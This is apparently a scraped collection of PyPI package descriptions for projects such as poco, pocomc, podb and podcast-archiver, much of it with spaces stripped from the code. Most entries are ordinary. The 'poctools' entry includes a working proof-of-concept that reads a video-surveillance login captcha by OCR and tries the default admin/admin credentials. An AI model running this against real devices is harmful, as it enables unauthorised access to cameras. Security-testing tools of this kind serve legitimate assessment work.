Saravanan666/pypi-org huggingface dataset:
Package: poco
POCOPocohelps to organise and manage Docker, Docker-Compose, Kubernetes projects of any complexity using simple YAML config files to shorten the route from finding your project to initialising it in your local environment.Simple. Configure, run and switch between projects with a very simple command line interface.Flexibility. Manage, scale, maintain projects of any complexity with ease.Configure Once, Use Everywhere. Configure project once so the rest of your team will feel the value of zero configuration.FeaturesDocker, Docker-Compose, Kubernetes, Helmsupport out of the box.Git, SVNsupport out of the box.Project Catalog, Multiple Catalogues. Create your own project catalog. Organise and your projects without additional tools.Multiple Plans. Create multiple plans for different environments or even environments for demo purposes. Switch between plans (environments) with ease.Simple Config Files. Poco helps to split config files, so it is easy to maintain and scale them any time.Script Support (Hooks). Add additional scripts any time.DocumentationAll documentation is available ongetpoco.ioDocumentationInstallTutorialsGithub, Gitlab IntegrationRequirementsGit or SVNSSHDocker (17.0.0 or higher version is recommended)kubectl, for Kubernetes supporthelm, for helm functionality supportQuick startInstallpoco:$:~ pip install pocoInit project:$:~ mkdir my-project
$:~ cd my-project
$:~ poco initpoco.ymlanddocker-compose.ymlexample files will be created.Start project:$:~ poco upBefore adding your project to Poco Repo create new empty git repository,
add repository to your local Poco Repo config:$:~ poco repo add <name> <git-url>Now you can add you project to repo:$:~ poco project add [<target-dir>] [<catalog>]Publish your changes:$:~ poco repo pushStop your project:$:~ poco stopLicenceMITCopyright (c) 2017-present,Shiwaforce.com
Package: pocode
👉项目官网：https://www.python-office.com/👈👉本开源项目的交流群👈📚简介pocode是查看Python编程常用工具的代码集合。📦安装🍊pip 自动下载&更新已同步到阿里镜像pip install -i https://mirrors.aliyun.com/pypi/simple/ pocode -U📝功能名称说明演示代码count_line统计代码行数查看@deprecated()标记函数过期查看相关资料：📘官网：https://www.python-office.com/https://github.com/CoderWanFeng/pocode🐞提供bug反馈或建议提交问题反馈时，请务必填写和python-office代码本身有关的问题，不进行有关python学习，甚至是个人练习的知识答疑和讨论。Github issue📌联系作者
Package: pocoglot
PocoglotPocoglot is a simple command line application that takes an entity definition file and generates code in one of many supported languages. If you are writing multi-tier applications in multiple languages this tool can save you from a lot of repeated typing and out-of-sync models.Supported languagesGolang•Python 3•PHP 8•C#•Typescript•MySQLUsage$pocoglot--help
Usage:pocoglot[OPTIONS]Options:-from,--from-filePATHPathtothesourceYAMLfilecontainingdefinitions[required]-to,--to-filePATHPathtowherethetargecodeisgoingtobegenerated[required]-lang,--to-language[java|php8|typescript|golang|csharp|python3]Languageusedforthegeneratedcode[required]-override,--override-filePATHPathtotheYAMLfilecontainingoverrides--helpShowthismessageandexit.SupportPlease star this project on GithubReport any issues and feature requestsAdd pull requests to support new languagesRelated projectsQuicktypeLicenseThis software is published under the permissiveMIT license
Package: pocolog2msgpack
python-pocolog2msgpackPython wrapper around the docker container ofrock-core/tools-pocolog2msgpackTable of contentaboutdependenciesgetting startedaboutThis project provides a python interface for the pocolog2msgpack tool, to convert Rock's pocolog format to MessagePack.dependenciesdependenciesversionpython3.5+docker19.03+getting startedInstall package from pip$pipinstallpocolog2msgpackWrite own converterfrompocolog2msgpackimportConverterbase_path="data/"conv=Converter(base_path=base_path)convert batch of filesconvert alllog-files indata/log/resulting msg-files in same sub-dir, but underdata/msglog_path=f"{base_path}/log/"conv.convert_batch(base_path=log_path,file_type="log",cache=True,)convert single fileconvert filedata/log/poco.logresulting msg-file indata/msg/poco.msgfrompocolog2msgpackimportX2YFilefile=X2YFile(file_name="data/poco.log",file_type="log",)conv.convert(log_2_msg_file=file,)
Package: pocomc
pocoMC is a Python implementation of the Preconditioned Monte Carlo method for accelerated Bayesian inferenceGetting startedBrief introductionpocoMCutilises aNormalising Flowin order to precondition the target distribution by removing any correlations between its parameters. The code then generates posterior samples, that can be used for parameter estimation, using a powerful adaptiveSequential Monte Carloalgorithm manifesting a sampling effiency that can be orders of magnitude higher than without precondition. Furthermore,pocoMCalso provides an unbiased estimate of themodel evidencethat can be used for the task ofBayesian model comparison.DocumentationRead the docs atpocomc.readthedocs.iofor more information, examples and tutorials.InstallationTo installpocomcusingpiprun:pipinstallpocomcor, to install from source:gitclonehttps://github.com/minaskar/pocomc.gitcdpocomc
pythonsetup.pyinstallBasic exampleFor instance, if you wanted to draw samples from a 10-dimensional Rosenbrock distribution with a uniform prior, you would do something like:importpocomcaspcimportnumpyasnpfromscipy.statsimportuniformn_dim=10# Number of dimensionsprior=pc.Prior(n_dim*[uniform(-10.0,20.0)])# U(-10,10)deflog_likelihood(x):return-np.sum(10.0*(x[:,::2]**2.0-x[:,1::2])**2.0\+(x[:,::2]-1.0)**2.0,axis=1)sampler=pc.Sampler(prior=prior,likelihood=log_likelihood,vectorize=True,)sampler.run()samples,weights,logl,logp=sampler.posterior()# Weighted posterior sampleslogz,logz_err=sampler.evidence()# Bayesian model evidence estimate and uncertaintyAttribution & CitationPlease cite the following papers if you found this code useful in your research:@article{karamanis2022accelerating,title={AcceleratingastronomicalandcosmologicalinferencewithpreconditionedMonteCarlo},author={Karamanis,MinasandBeutler,FlorianandPeacock,JohnAandNabergoj,DavidandSeljak,Uro{\v{s}}},journal={MonthlyNoticesoftheRoyalAstronomicalSociety},volume={516},number={2},pages={1644--1653},year={2022},publisher={OxfordUniversityPress}}@article{karamanis2022pocomc,title={pocoMC:APythonpackageforacceleratedBayesianinferenceinastronomyandcosmology},author={Karamanis,MinasandNabergoj,DavidandBeutler,FlorianandPeacock,JohnAandSeljak,Uros},journal={arXivpreprintarXiv:2207.05660},year={2022}}LicenceCopyright 2022-Now Minas Karamanis and contributors.pocoMCis free software made available under the GPL-3.0 License. For details see theLICENSEfile.
Package: poco-ops
POCO-OPSTHIS IS THE LIGHTWEIGHT VERSION OFPOCO.Pocohelps to organise and manage Docker, Docker-Compose, Kubernetes projects of any complexity using simple YAML config files to shorten the route from finding your project to initialising it in your local environment.Simple. Configure, run and switch between projects with a very simple command line interface.Flexibility. Manage, scale, maintain projects of any complexity with ease.Configure Once, Use Everywhere. Configure project once so the rest of your team will feel the value of zero configuration.FeaturesDocker, Docker-Compose, Kubernetes, Helmsupport out of the box.Multiple Plans. Create multiple plans for different environments or even environments for demo purposes. Switch between plans (environments) with ease.Simple Config Files. Poco helps to split config files, so it is easy to maintain and scale them any time.Script Support (Hooks). Add additional scripts any time.DocumentationAll documentation is available onproco.appDocumentationOverviewTutorialsGithub, Gitlab IntegrationRequirementsDocker (17.0.0 or higher version is recommended)kubectl, for Kubernetes supporthelm, for helm functionality supportQuick startInstallpoco:$:~ pip install pocoInit project:$:~ mkdir my-project
$:~ cd my-project
$:~ poco initpoco.ymlanddocker-compose.ymlexample files will be created.Start project:$:~ poco upBefore adding your project to Poco Repo create new empty git repository,
add repository to your local Poco Repo config:$:~ poco repo add <name> <git-url>Now you can add you project to repo:$:~ poco project add [<target-dir>] [<catalog>]Publish your changes:$:~ poco repo pushStop your project:$:~ poco stopLicenceMITCopyright (c) 2017-present,Shiwaforce.com
Package: pocpoc
PocPocA Python library for managing Dependency Injection, Events and Commands, with Redis adapters. It also handles database transactions with the Unit of Work concept using SQLAlchemy adapters.InstallationYou can install the library using pip:pipinstallpocpocor using poetry:poetryaddpocpocFeaturesDependency Injection without decoratorsRedis adapters for Events and CommandsSQLAlchemy adapter for handling database transactions with the Unit of Work conceptLicensePocPoc is released under the MIT License. See theLICENSEfile for more information.
Package: pocs-based-clustering
POCS-based Clustering AlgorithmOfficial implementation of the Projection Onto Convex Set (POCS)-based clustering algorithm.IntroductionMain authors:Le-Anh Tran,Dong-Chul ParkAbstract:This paper proposes a data clustering algorithm that is inspired by the prominent convergence property of the Projection onto Convex Sets (POCS) method, termed the POCS-based clustering algorithm. For disjoint convex sets, the form of simultaneous projections of the POCS method can result in a minimum mean square error solution. Relying on this important property, the proposed POCS-based clustering algorithm treats each data point as a convex set and simultaneously projects the cluster prototypes onto respective member data points, the projections are convexly combined via adaptive weight values in order to minimize a predefined objective function for data clustering purposes. The performance of the proposed POCS-based clustering algorithm has been verified through a large scale of experiments and data sets. The experimental results have shown that the proposed POCS-based algorithm is competitive in terms of both effectiveness and efficiency against some of the prevailing clustering approaches such as the K-means/K-Means++ and Fuzzy C-Means (FCM) algorithms. Based on extensive comparisons and analyses, we can confirm the validity of the proposed POCS-based clustering algorithm for practical purposes.UsageInstallationpip install pocs-based-clusteringFunctionfrom pocs_cluster_analysis import pocs_clustering

centroids, labels = pocs_clustering(input_data, num_clusters, num_iterations)CitationPlease cite our works if you utilize any data from this work for your study.@inproceedings{tran2022pocs,title={POCS-based Clustering Algorithm},author={Tran, Le-Anh and Deberneh, Henock M and Do, Truong-Dong and Nguyen, Thanh-Dat and Le, My-Ha and Park, Dong-Chul},booktitle={2022 International Workshop on Intelligent Systems (IWIS)},pages={1--6},year={2022},organization={IEEE}}@article{tran2024cluster,title={Cluster Analysis via Projection onto Convex Sets},author={Tran, Le-Anh and Kwon, Daehyun and Deberneh, Henock Mamo and Park, Dong-Chul},journal={Intelligent Data Analysis},year={2024},publisher={IOS Press}}Have fun!LA Tran
Package: poc-tool
一个方便安全测试人员书写poc的工具库集合描述避免重复造轮子以及代码的简洁，将常用的方法集成化封装到一起，提高代码的整洁和便携。安装pipinstallpoc-tool使用工具类tools使用frompoc_tool.toolsimporttools# 获取请求和响应数据包，传入responsetools.get_all_requests()# 获取请求头，传入responsetools.get_req_header()# 获取请求数据包，传入responsetools.get_req()# 获取响应头，传入responsetools.get_res_header()# 获取响应数据包，传入responsetools.get_res()# 获取http请求版本，传入responsetools.get_http_version()# 获取随机ua头tools.get_random_ua()# 获取随机ip地址tools.get_random_ip()# 获取随机数据，传入number类型长度tools.get_random_num()# 获取随机字符串，传入number类型长度tools.get_random_str()# base64加密，传入字符串tools.base64_encode()# base64解密，传入加密字符串tools.base64_decode()# url编码，传入字符串tools.url_encode()# url解码，传入url编码字符串tools.url_decode()# url全编码，传入字符串tools.url_encode_all()# url地址格式化，传入url或者IP地址，例如：'127.0.0.1:8988'，‘https://127.0.0.1:8899/api/v1’tools.get_url_format()日志输出类logger使用默认日志输出是INFO模式，如果需要所有信息都输出请设置成DEBUG模式frompoc_tool.logimportlog,LoggingLevel,LOGGER# 设置日志等级，可以设置info，error，debug，warning，successLOGGER.setLevel(LoggingLevel.INFO)# 使用log.info("zhizhuo")log.success("zhizhuo")log.error("zhizhuo")log.warning("zhizhuo")log.debug("zhizhuo")
Package: poctools
poctoolsinstallpipinstallpoctoolsexamplefrompoctoolsimportBasicPocfrompoctools.encryptimportmd5frompoctools.ocrimportnew_numberclassTianMaiNetworkVideoSurveillanceWeakCipherPoc(BasicPoc):jsessionid_uri="/login.jsp"login_uri="/j_login.auth"verify_code_uri="/jsp/common/validateCode.jsp"def__init__(self):super(TianMaiNetworkVideoSurveillanceWeakCipherPoc,self).__init__()self.name="天迈网络视频监控弱密码"defverify(self,url:str)->bool:jsessionid_response=self.get(url+self.jsessionid_uri)ifjsessionid_responseisNone:returnFalsepayload={"j_apptype":"1","j_username":"admin","remember-me":False}whileTrue:verify_code_response=self.get(url+self.verify_code_uri)ifverify_code_responseisNone:returnFalsecode=new_number(verify_code_response.content)iflen(code)!=4:continuepayload.setdefault("validateCode",code)payload.setdefault("j_password",md5("admin"+code))login_response=self.post(url+self.login_uri,data=payload)iflogin_responseisNone:returnFalsereturnlogin_response.status_code==200and"验证码有误"notinlogin_response.textif__name__=='__main__':target="http://127.0.0.1:18080"tp=TianMaiNetworkVideoSurveillanceWeakCipherPoc()result=tp.run(target)print(f"{target}->{result}")
Package: pod2gen
This module can be used to easily generate Podcasts. It is designed so you
don’t need to read up on how RSS and iTunes functions – it just works!See the documentation athttps://pod2gen.caproni.fm/en/latest/for more
information.It is licensed under the terms of both the FreeBSD license and the LGPLv3+.
Choose the one which is more convenient for you. For more details have a look
at license.bsd and license.lgpl.
Package: poda
READMENEWSDateNewsVersionMei 2019poda is first update library>=v0.1.0Mei 2019poda is second update library>=v0.1.1Mei 2019poda is third update library>=v0.1.2June 2019poda is fourth update library>=v0.1.3June 2019poda is sixth update library>=v0.1.4August 2019poda is second version and add Object detection>=v0.2.0August 2019Adding segmentation model>=v0.2.1September 2019Fixing tensor shape and rewrite parameters name>=v0.2.2Tensorflow CompatibilityTensorflow versionPoda Version1.14.0>=v0.2.2ABOUT PROJECTThis is a package to simplify tensorflow operationsDEPENDENCIESTensorflow (1.14.0)For installing tensorflow, with GPU:# python3pip3installtensorflow-gpu# python2pip2installtensorflow-gpuWithout GPU:# python3pip3installtensorflow# python2pip2installtensorflowHOW TO USEInstalling The Packagepythonsetup.pyinstallorpip3installpodaImport The PackageTensor Operationsimporttensorflowastffrompoda.layersimport*Convert Model to Tensorflow Servingimporttensorflowastffrompoda.utils.convert_model_for_tensorflow_servingimport*Transfer Learning Packageimporttensorflowastffrompoda.transfer_learning.Vgg16import*DOCKERWe already prepared the all in one docker for computer vision and deep learning libraries, including tensorflow 1.12, Opencv3.4.2 and contrib, CUDA 9, CUDNN 7, Keras, jupyter, numpy, sklearn, scipy, statsmodel, pandas, matplotlib, seaborn, flask, gunicorn etc. See the list of dockerfile below:Docker: Ubuntu 16.04 with GPU (Cuda 9, cudnn 7.2) [TESTED]https://github.com/gideonmanurung/docker_utils/tree/master/docker_16.04Docker: Ubuntu 18.04 with GPU (Cuda 9, cudnn 7.2)https://github.com/gideonmanurung/docker_utils/tree/master/docker_18.04Docker: Ubuntu 16.04 without GPU (Cuda 9, cudnn 7.2) [TESTED]https://github.com/gideonmanurung/docker_utils/tree/without_gpu/docker_16.04Docker: Ubuntu 18.04 without GPU (Cuda 9, cudnn 7.2) [TESTED]https://github.com/gideonmanurung/docker_utils/tree/without_gpu/docker_18.04
Package: pod-ai
پکیج Pod AIبا استفاده از این پکیج می توانید از خدمات سکوی هوش مصنوعی استفاده نماییدنصببرای نصب از طریقpipکافیه تا دستور زیر را اجرا کنیدpip install pod-aiنمونه کدنمونه کد ها و مثال هایی از تمام متدهای این پکیج را می توانیداینجاپیدا کنید.
Package: podao
朴刀 podao一把朴刀开局。
朴刀是一个 Python 项目搭建脚手架，组合使用 pyenv、venv 和 pip 等工具搭建虚拟环境、分组依赖包。Podao is an python project environment setup tool, it combines pyenv, venv, pip to ease the work to build an isolated environment for python project.朴刀是一种刀身窄长、刀柄较短的刀，装上“杆棒”后变为枪，名为朴刀枪，以“搠、刺”为主。朴刀在《水浒传》里广为人知，印象里朴刀都很长，这是错的；正确的定义是：朴刀短柄，柄中空，是单手持握的短兵器，特点在于刀柄中空，旋入一根哨棒就可以当做长兵器使用，故尔武松等人都习惯手持哨棒，腰配朴刀，如此两件兵器可以在需要时合二为一，就像 pyenv 和 venv 一样。如：“卢俊义取出朴刀，装在杆棒上，三个了丫儿扣牢了，赶著车子奔梁山泊路上来”。优势 advantage-使用 pyenv、venv 和 pip 搭建项目，零学习成本；
-使用文件夹名作为 shell session 提示符，无随机字符、好看、有意义；
-使用 pyproject.toml 和 requirements.txt 文件描述项目，不造轮子、零侵入；局限 weaknesspodao 只解决虚拟环境的搭建和依赖包的分组的问题，更具体的项目配置需要手动更改 pyproject.toml 文件。pyenvpyenv 用于管理项目环境的 python 版本，要使用 podao 需事先安装 pyenv，参考官网。pyenv installationpyenv 的安装配置稍显复杂，安装过程可分 3 步：安装 pyenv 依赖，包括git，wiki安装 pyenv，wiki配置 pyenv 环境，wiki有人将安装过程封装成了安装脚本，目前只有 Ubuntu 版。安装 installpipinstallpodao一般将 podao 安装在系统环境，也可以安装在虚拟环境：安装在系统环境切换到项目路径执行podao init .安装在虚拟环境激活安装有 podao 的虚拟环境切换到项目路径执行podao init .退出安装有 podao 的虚拟环境deactivate激活项目虚拟环境source bin/activate示例 examples创建项目环境pdinit.3.10.4
pdinit~/workspace/project_name安装软件包pdinstallpytest-d
pdinstall'ReportLab>=1.2'-gpdf卸载软件包pduninstallrequests创建快照pdfreeze
pdfreeze-a
pdfreeze-d
pdfreeze-gpdf使用 usagepd init dir [python] [-ide]pd init命令使用 dir 目录和 python 版本创建虚拟环境，包括 src、test、pyproject.toml、LICENSE、README.md和.gitignore。使用目录名作为项目名、当前系统用户作为author、MIT 为默认 LICENSE、当前年份和系统用户作为 LICENSE 时间和用户。dir- 项目目录，必填项，使用.表示当前目录python- python 版本号，如果不指定 python，则使用当前系统安装的最高版本的python-ide- 如果指定 IDE 会生成 IDE 的配置文件，目前仅支持 vscodepd install packagespd install命令使用当前虚拟环境的pip install -U命令安装 packages 所指定的包，并将包添加到 pyproject 的相应依赖组中。-d- 将软件包添加到optional-dependencies表的dev组-g- 将软件包添加到optional-dependencies表的指定的组不使用选项，将软件包默认安装到 dependencies 表pd uninstall packagespd uninstall命令使用pip uninstall命令卸载 packages 所指定的包pd freezepd freeze命令结合pip freeze和pyproject.toml生成当前系统所需的软件包的版本快照到requirements.txt文件，然后使用pip install -r requirements.txt命令安装即可。-d- 创建 dev 依赖和主依赖的版本快照-a- 创建所有依赖的版本快照不适用选项，将创建主依赖的版本快照source bin/activate激活虚拟环境，会在 shell 提示符左侧显示当前虚拟环境的名字，即虚拟环境文件夹的名字。pip install -r requirements.txt将通过 requirements.txt 文件定义的虚拟环境快照按照到当前环境。LicenseMIT© Li zhigang
Package: podb
podb(p)ython (o)bject (d)ata(b)asethread safe, file based, redis style database for python objectsit really just isshelvewith a hat onreasons not to use thisyou want a database clusteryou have multiple billions of database entries and limited storage spaceyou need relationshipsreasons to use thispure pythoncross-platform (Tested: Windows & Linux)fastinserting 200 objects takes~0.0003 seconds (i7-4702MQ)~0.0001 seconds (Ryzen 9 3900xt)8-8.3k inserts per second (Ryzen 7 2700X)19k inserts per second (Ryzen 9 3900xt)thread safestores python objectsfilters, see below~180 locfunctionsfindfind_onefind_afterfind_beforefind_by_uuidfind_containsfind_startswithfind_endswithinsertinsert_manyupdateupdate_manyupsertupsert_manysizecontainscolumnsdropdeletedelete_by_uuiddelete_beforeget_allget_randomget_random_listexamplefrompodbimportDB,DBEntryclassCompany(DBEntry):def__init__(self,name:str):DBEntry.__init__(self)self.name=nameclassCustomer(DBEntry):def__init__(self,first_name:str,last_name:str,age:int,height:float,companies:list[DBEntry]):DBEntry.__init__(self)self.first_name=first_nameself.last_name=last_nameself.age=ageself.height=heightself.companies=companiesdb=DB("customers")c0=Customer("Jeff","Bezoz",42,1.69,[Company("Whole Foods"),Company("Zappos"),Company("Ring"),Company("twitch")])db.insert(c0)c0=db.find_one({"first_name":"Jeff","last_name":"Bezoz"})c0.companies.append(Company("Audible"))db.update(c0)installationpip3installpodb
Package: pod-banking
پکیج Pod Bankingبا استفاده از این پکیج و دریافت اطلاعات کاربر وب سرویسی از بانک می توانید عملیاتی مانند کارت به کارت، دریافت گردش حساب، موجودی، انتقال وجه از سپرده به سپرده و ... را انجام دهیدنصببرای نصب از طریقpipکافیه تا دستور زیر را اجرا کنیدpip install pod-bankingنمونه کدنمونه کد ها و مثال هایی از تمام متدهای این پکیج را می توانیداینجاپیدا کنید.
Package: pod-billing
پکیج فاکتور پلتفرم پاداین پکیج شامل سرویس های زیر استصدور فاکتورکاهش فاکتورلیست فاکتورهاروش های پرداخت فاکتورو ...نصببرای نصب از طریقpipکافیه تا دستور زیر را اجرا کنیدpip install pod-billingنمونه کدنمونه کد ها و مثال هایی از تمام متدهای این پکیج را می توانیداینجاپیدا کنید.
Package: podcast-archiver
Podcast ArchiverA fast and simple command line client to archive all episodes from your favorite podcasts.Podcast Archiver takes the feed URLs of your favorite podcasts and downloads all available episodes for you—even those "hidden" inpaged feeds. You'll end up with a complete archive of your shows. The archiver also supports updating an existing archive, so that it lends itself to be set up as a cronjob.⚠️ Podcast Archiver v1.0 completely changes the available command line options uses a new format for naming files (seechanging the filename formatbelow). Using it on an existing pre-v1.0 folder structure will re-download all episodes unless you use an equivalent template. ⚠️SetupInstall viapipx:pipxinstallpodcast-archiverInstall viabrew:brewinstalljanw/tap/podcast-archiverOr use it via Docker:dockerrun--tty--rmghcr.io/janw/podcast-archiver--helpUsageRunpodcast-archiver --helpfor details on how to use it:Example invocationpodcast-archiver-d~/Music/Podcasts\-fhttp://logbuch-netzpolitik.de/feed/m4a\-fhttp://raumzeit-podcast.de/feed/m4a/\-fhttps://feeds.lagedernation.org/feeds/ldn-mp3.xmlThis way, you can easily add and remove feeds to the list and let the archiver fetch the newest episodes for example by adding it to your crontab.Changing the filename formatPodcast Archiver has a--filename-templateoption that allows you to change the particular naming scheme of the archive. The default value for--filename-template. is shown inpodcast-archiver --help, as well as all the available variables. The basic ones are:Episode:episode.title,episode.subtitle,episode.author,episode.published_time,episode.original_filenamePodcast:show.title,show.subtitle,show.author,show.languageNote here thatepisode.published_timeis a Python-native datetime, so its exact format can be adjusted further a la{episode.published_time:%Y-%m-%d %H%M%S}usingstrftime-placeholders. By default it uses%Y-%m-%d(e.g. 2024-12-31).ExamplesMore precise published time{show.title}/{episode.published_time:%Y-%m-%d %H%M%S %Z} - {episode.title}.{ext}Results in…/That Show/2023-03-12 123456 UTC - Some Episode.mp3Using the original filename (roughly equivalent to pre-1.0--subdirs){show.title}/{episode.original_filename}Results in…/That Show/ts001-episodefilename.mp3Using the original filename (roughly equivalent to pre-1.0--subdirs+--date-prefix){show.title}/{episode.published_time} {episode.original_filename}Results in…/That Show/2023-03-12 ts001-episodefilename.mp3Using a config fileCommand line arguments can be replaced with entries in a YAML configuration file. An example config can be generated withpodcast-archiver--config-generate>config.yamlAfter modifying the settings to your liking,podcast-archivercan be run withpodcast-archiver--configconfig.yamlAlternatively (for example, if you're runningpodcast-archiverin Docker), you may point it to the config file using thePODCAST_ARCHIVER_CONFIG=path/to/config.yamlenvironment variable.Using environment variablesSome settings of Podcast Archiver are available as environment variables, too. Checkpodcast-archiver --helpfor options withenv var: …next to them.